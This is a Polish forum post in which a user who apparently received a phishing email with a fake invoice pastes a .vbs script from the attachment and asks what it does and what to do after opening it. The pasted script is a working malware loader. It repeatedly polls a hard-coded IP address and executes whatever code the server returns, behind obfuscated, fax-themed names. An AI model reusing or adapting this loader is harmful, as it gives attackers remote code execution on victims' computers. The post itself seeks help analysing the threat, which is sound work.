Witam, dostałem emaila niby z fakturą w którego załączniku był plik .zip a wewnątrz jego znajdował się plik z rozszerzeniem .vbs. Treść tego pliku:
'service you fax pc
dim LosdMyArray, Komefaxurls, lossethttpsd, sss
dim cosmyfaxpcurls, zeseyoufaxpcdate
sss = "hellofaxmessage"
Function toswMypcTextFax()
On Error Resume Next
Komefaxurls = "https://www.gdsdfdzooosle.bit/analytics/id123456"
Set sdlossethttpsd = CreateObject("Microsoft.XMLHTTP")
sdlossethttpsd.Open "GET", Komefaxurls, False
sdlossethttpsd.Send
If (sdlossethttpsd.Status = 200) Then
Else
Execute "" + LosdMyArray(2) + ""
End If
End Function
Function loneSkip(date)
On Error Resume Next
Call RseMypcMessage(date)
End Function
Function KteshowPcFaxPc()
On Error Resume Next
While true
zeseyoufaxpcdate = FormatDateTime(Now, vbLongTime)
cosmyfaxpcurls = "http://192.3.118.128/tfaxid/87180/" + zeseyoufaxpcdate + "/" + sss
WScript.Sleep 9000
Call loneSkip(cosmyfaxpcurls)
Wend
End Function
Function RseMypcMessage(date)
On Error Resume Next
dim zxzoppcffs
Set zxzoppcffs = createobject("Microsoft.XMLHTTP")
zxzoppcffs.Open "GET", date, False
zxzoppcffs.Send
WScript.Sleep 150
LosdMyArray = Array(123456, 123, zxzoppcffs.responseText)
toswMypcTextFax()
End Function
Call KteshowPcFaxPc()
Co powinienem zrobić jeśli otworzyłem ten plik? Co ten skrypt robi? Z góry dziękuję za pomoc.